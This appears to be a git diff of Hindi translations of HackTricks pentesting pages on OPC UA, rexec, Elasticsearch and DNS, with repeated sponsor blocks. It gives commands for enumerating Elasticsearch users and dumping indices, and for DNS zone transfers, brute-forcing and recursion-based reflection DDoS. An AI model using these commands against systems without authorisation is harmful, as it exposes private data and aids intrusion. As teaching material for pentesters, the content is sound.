## शोडन
## शोड
* `port:4840`
@ -46,17 +54,25 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें
**वास्तविक व्यावसायिक प्रभाव के साथ महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन परीक्षण के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## मूल जानकारी
## Basic Information
यह एक सेवा है जो **आपको एक होस्ट के अंदर एक कमांड निष्पादित करने की अनुमति देती है** यदि आप मान्य **क्रेडेंशियल्स** (उपयोगकर्ता नाम और पासवर्ड) जानते हैं।
यह एक सेवा है जो **आपको एक होस्ट के अंदर एक कमांड निष्पादित करने की अनुमति देती है** यदि आप मान्य **प्रमाण पत्र** (उपयोगकर्ता नाम और पासवर्ड) जानते हैं।
**डिफ़ॉल्ट पोर्ट:** 512
```
@ -34,7 +36,9 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -46,9 +50,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,13 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic information
Elasticsearch एक **वितरित**, **ओपन सोर्स** खोज और विश्लेषण इंजन है जो **सभी प्रकार के डेटा** के लिए है। यह अपनी **गति**, **स्केलेबिलिटी**, और **सरल REST APIs** के लिए जाना जाता है। इसे Apache Lucene पर बनाया गया था, और इसे पहली बार 2010 में Elasticsearch N.V. (अब Elastic के रूप में जाना जाता है) द्वारा जारी किया गया था। Elasticsearch Elastic Stack का मुख्य घटक है, जो डेटा इनजेशन, समृद्धि, भंडारण, विश्लेषण, और दृश्यता के लिए ओपन सोर्स टूल्स का एक संग्रह है। इस स्टैक को सामान्यतः ELK स्टैक के रूप में जाना जाता है, जिसमें Logstash और Kibana भी शामिल हैं, और अब इसमें हल्के डेटा शिपिंग एजेंट्स होते हैं जिन्हें Beats कहा जाता है।
Elasticsearch एक **वितरित**, **ओपन सोर्स** खोज और विश्लेषण इंजन है जो **सभी प्रकार के डेटा** के लिए है। यह अपनी **गति**, **स्केलेबिलिटी**, और **सरल REST APIs** के लिए जाना जाता है। यह Apache Lucene पर आधारित है, और इसे पहली बार 2010 में Elasticsearch N.V. (अब Elastic के रूप में जाना जाता है) द्वारा जारी किया गया था। Elasticsearch Elastic Stack का मुख्य घटक है, जो डेटा इनजेशन, समृद्धि, भंडारण, विश्लेषण, और दृश्यता के लिए ओपन सोर्स उपकरणों का एक संग्रह है। इस स्टैक को सामान्यतः ELK स्टैक का जाता है, जिसमें Logstash और Kibana भी शामिल हैं, और अब इसमें हल्के डेटा शिपिंग एजेंट्स होते हैं जिन्हें Beats कहा जाता है।
### What is an Elasticsearch index?
Elasticsearch का **इंडेक्स** **संबंधित दस्तावेजों** का एक संग्रह है जो **JSON** के रूप में संग्रहीत होता है। प्रत्येक दस्तावेज में **कुंजी** और उनके संबंधित **मान** (स्ट्रिंग, नंबर, बूलियन, तिथियाँ, एरे, भू-स्थान, आदि) होते हैं।
An Elasticsearch **index** एक **संबंधित दस्तावेजों** का संग्रह है जो **JSON** के रूप में संग्रहीत होता है। प्रत्येक दस्तावेज में **कुंजी** और उनके संबंधित **मान** (स्ट्रिंग, नंबर, बूलियन, तिथियाँ, एरे, भू-स्थान, आदि) होते हैं।
Elasticsearch तेज पूर्ण-पाठ खोजों को सुविधाजनक बनाने के लिए एक कुशल डेटा संरचना का उपयोग करता है जिसे **इनवर्टेड इंडेक्स** कहा जाता है। यह इंडेक्स दस्तावेजों में प्रत्येक अद्वितीय शब्द को सूचीबद्ध करता है और उन दस्तावेजों की पहचान करता है जिनमें प्रत्येक शब्द प्रकट होता है।
@ -33,7 +41,7 @@ Elasticsearch तेज पूर्ण-पाठ खोजों को सु
### Banner
Elasticsearch तक पहुँचने के लिए उपयोग किया जाने वाला प्रोटोकॉल **HTTP** है। जब आप HTTP के माध्यम से इसे एक्सेस करते हैं, तो आपको कुछ दिलचस्प जानकारी मिलेगी: `http://10.10.10.115:9200/`
Elasticsearch तक पहुँचने के लिए उपयोग किया जाने वाला प्रोटोकॉल **HTTP** है। जब आप इसे HTTP के माध्यम से एक्सेस करते हैं, तो आपको कुछ दिलचस्प जानकारी मिलेगी: `http://10.10.10.115:9200/`
![](<../.gitbook/assets/image (294).png>)
@ -57,7 +65,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```
curl -X GET http://user:password@IP:9200/
```
### बेसिक यूजर एन्यूमरेशन
### बुनियादी उपयोगकर्ता गणना
```bash
#List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
@ -99,8 +107,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodeattrs | | |
| /\_cat/nodes | | |
ये endpoints [**दस्तावेज़ीकरण से लिए गए हैं**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) जहाँ आप **और अधिक** पा सकते हैं।\
इसके अलावा, यदि आप `/_cat` एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं।
ये endpoints [**दस्तावेज़ से लिए गए हैं**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) जहाँ आप **और अधिक** पा सकते हैं।\
इसके अलावा, यदि आप `/_cat` का एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं।
`/_security/user` में (यदि प्रमाणीकरण सक्षम है) आप देख सकते हैं कि कौन सा उपयोगकर्ता `superuser` भूमिका रखता है।
@ -113,42 +121,42 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```
To obtain **information about which kind of data is saved inside an index** you can access: `http://host:9200/<index>` from example in this case `http://10.10.10.115:9200/bank`
To obtain **जानकारी कि किस प्रकार का डेटा एक इंडेक्स के अंदर सहेजा गया है** आप एक्सेस कर सकते हैं: `http://host:9200/<index>` इस उदाहरण में `http://10.10.10.115:9200/bank`
![](<../.gitbook/assets/image (342).png>)
### Dump index
If you want to **dump all the contents** of an index you can access: `http://host:9200/<index>/_search?pretty=true` like `http://10.10.10.115:9200/bank/_search?pretty=true`
यदि आप **एक इंडेक्स की सभी सामग्री को डंप करना चाहते हैं** तो आप एक्सेस कर सकते हैं: `http://host:9200/<index>/_search?pretty=true` जैसे `http://10.10.10.115:9200/bank/_search?pretty=true`
![](<../.gitbook/assets/image (914).png>)
_थोड़ा समय निकालें और बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड की जो हमने पिछले अनुभाग में देखी थी।_
_एक पल लें और बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड जो हमने पिछले अनुभाग में देखे थे।_
So, at this point you may notice that **there is a field called "total" inside "hits"** that indicates that **1000 documents were found** inside this index but only 10 were retried. This is because **by default there is a limit of 10 documents**.\
But, now that you know that **this index contains 1000 documents**, you can **dump all of them** indicating the number of entries you want to dump in the **`size`** parameter: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_नोट: यदि आप बड़ा संख्या निर्दिष्ट करते हैं तो सभी एंट्रीज़ वैसे भी डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` निर्दिष्ट कर सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_
तो, इस बिंदु पर आप देख सकते हैं कि **"hits" के अंदर "total" नाम का एक फ़ील्ड है** जो यह संकेत करता है कि **इस इंडेक्स के अंदर 1000 दस्तावेज़ पाए गए** लेकिन केवल 10 को पुनः प्राप्त किया गया। इसका कारण यह है कि **डिफ़ॉल्ट रूप से 10 दस्तावेज़ों की सीमा है।**\
लेकिन, अब जब आप जानते हैं कि **इस इंडेक्स में 1000 दस्तावेज़ हैं**, आप **उनमें से सभी को डंप कर सकते हैं** यह बताते हुए कि आप कितनी एंट्रीज़ को डंप करना चाहते हैं **`size`** पैरामीटर में: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_नोट: यदि आप बड़ा नंबर निर्दिष्ट करते हैं तो सभी एंट्रीज़ वैसे भी डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` निर्दिष्ट कर सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_
### Dump all
In order to dump all you can just go to the **same path as before but without indicating any index**`http://host:9200/_search?pretty=true` like `http://10.10.10.115:9200/_search?pretty=true`\
याद रखें कि इस मामले में **डिफ़ॉल्ट सीमा 10** परिणामों की लागू होगी। आप `size` पैरामीटर का उपयोग करके **परिणामों की बड़ी मात्रा** को डंप कर सकते हैं। अधिक जानकारी के लिए पिछले अनुभाग को पढ़ें।
सभी को डंप करने के लिए आप बस **पहले की तरह उसी पथ पर जा सकते हैं लेकिन किसी इंडेक्स को निर्दिष्ट किए बिना** `http://host:9200/_search?pretty=true` जैसे `http://10.10.10.115:9200/_search?pretty=true`\
याद रखें कि इस मामले में **डिफ़ॉल्ट 10** परिणामों की सीमा लागू होगी। आप **बड़ी मात्रा में परिणामों** को डंप करने के लिए `size` पैरामीटर का उपयोग कर सकते हैं। अधिक जानकारी के लिए पिछले अनुभाग को पढ़ें।
### Search
If you are looking for some information you can do a **raw search on all the indices** going to `http://host:9200/_search?pretty=true&q=<search_term>` like in `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
यदि आप कुछ जानकारी की तलाश कर रहे हैं तो आप सभी इंडेक्स पर **कच्ची खोज** कर सकते हैं `http://host:9200/_search?pretty=true&q=<search_term>` जैसे `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../.gitbook/assets/image (335).png>)
If you want just to **search on an index** you can just **specify** it on the **path**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
यदि आप केवल **एक इंडेक्स पर खोज करना चाहते हैं** तो आप बस **उसे पथ पर निर्दिष्ट कर सकते हैं**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_नोट करें कि सामग्री को खोजने के लिए उपयोग किया जाने वाला q पैरामीटर **नियमित अभिव्यक्तियों का समर्थन करता है**_
_ध्यान दें कि सामग्री की खोज के लिए उपयोग किया जाने वाला q पैरामीटर **नियमित अभिव्यक्तियों का समर्थन करता है**_
You can also use something like [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) to fuzz an elasticsearch service.
आप एक elasticsearch सेवा को फज़ करने के लिए [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) जैसी चीज़ों का भी उपयोग कर सकते हैं।
### Write permissions
You can check your write permissions trying to create a new document inside a new index running something like the following:
आप अपने लिखने की अनुमति की जांच कर सकते हैं एक नए इंडेक्स के अंदर एक नया दस्तावेज़ बनाने की कोशिश करके कुछ इस तरह चलाकर:
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -158,13 +166,13 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
"name" : "how to get a job"
}'
```
उस cmd से एक **नया इंडेक्स** `bookindex` नाम से बनेगा जिसमें `books` प्रकार का एक दस्तावेज़ होगा जिसमें "_bookId_", "_author_", "_publisher_" और "_name_" विशेषताएँ होंगी
यह cmd एक **नया इंडेक्स** बनाएगा जिसका नाम `bookindex` होगा, जिसमें `books` प्रकार का एक दस्तावेज़ होगा जिसमें "_bookId_", "_author_", "_publisher_" और "_name_" के गुण होंगे
ध्यान दें कि **नया इंडेक्स अब सूची में दिखाई दे रहा है**:
![](<../.gitbook/assets/image (130).png>)
और ध्यान दें कि **स्वतः निर्मित गुण**:
और ध्यान दें कि **स्वचालित रूप से बनाए गए गुण**:
![](<../.gitbook/assets/image (434).png>)
@ -180,17 +188,25 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
* `port:9200 elasticsearch`
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो करें**.**
* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में सबमिट करके.
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **बुनियादी जानकारी**
## **Basic Information**
**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **आसान-से-याद रखने वाले डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पते का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र इंटरनेट संसाधनों को जल्दी लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करता है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पते का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र इंटरनेट संसाधनों को तेजी से लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डिफ़ॉल्ट पोर्ट:** 53
```
@ -100,7 +102,7 @@ nslookup
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
### उपयोगी nmap स्क्रिप्ट
### उपयोगी nmap स्क्रिप्ट्स
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
@ -113,12 +115,12 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
{% hint style="info" %}
यदि आप आंतरिक IP-पते पर हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए डोमेन के NSs पर एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
यदि आप आंतरिक IP-पते पर हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए NSs से एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
{% endhint %}
इस कार्य के लिए एक और उपकरण: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
आप रिवर्स IP रेंज के लिए पूछताछ कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (यह उपकरण BGP के साथ भी सहायक है)।
आप रिवर्स IP रेंज के लिए क्वेरी कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (यह उपकरण BGP के साथ भी सहायक है)।
### DNS - उपडोमेन BF
```bash
@ -149,14 +151,14 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t <domain>
```
Bruteforce रिवर्स DNS का उपयोग करते हुए IPv6 पते
Bruteforce reverse DNS का उपयोग करते हुए IPv6 पते
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Recursion DDoS
यदि **DNS पुनरावृत्ति सक्षम है**, तो एक हमलावर **UDP पैकेट में मूल को धोखा** दे सकता है ताकि **DNS प्रतिक्रिया पीड़ित सर्वर को भेजे**। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" ध्वज** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
यदि **DNS पुनरावृत्ति सक्षम है**, तो एक हमलावर **UDP पैकेट पर मूल** को **स्पूफ** कर सकता है ताकि **DNS प्रतिक्रिया पीड़ित सर्वर को भेजे**। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
यह **जांचने** का तरीका है कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** कि क्या **"ra" ध्वज** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
```bash
dig google.com A @<IP>
```
@ -170,19 +172,21 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**वास्तविक व्यावसायिक प्रभाव के साथ महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### अस्तित्वहीन खाते के लिए मेल
### अस्तित्वहीन खाते पर मेल
एक लक्षित डोमेन के भीतर एक अमान्य पते पर भेजे गए ईमेल द्वारा उत्पन्न नॉनडिलीवरी नोटिफिकेशन (NDN) की जांच के माध्यम से, अक्सर मूल्यवान आंतरिक नेटवर्क विवरण प्रकट होते हैं।
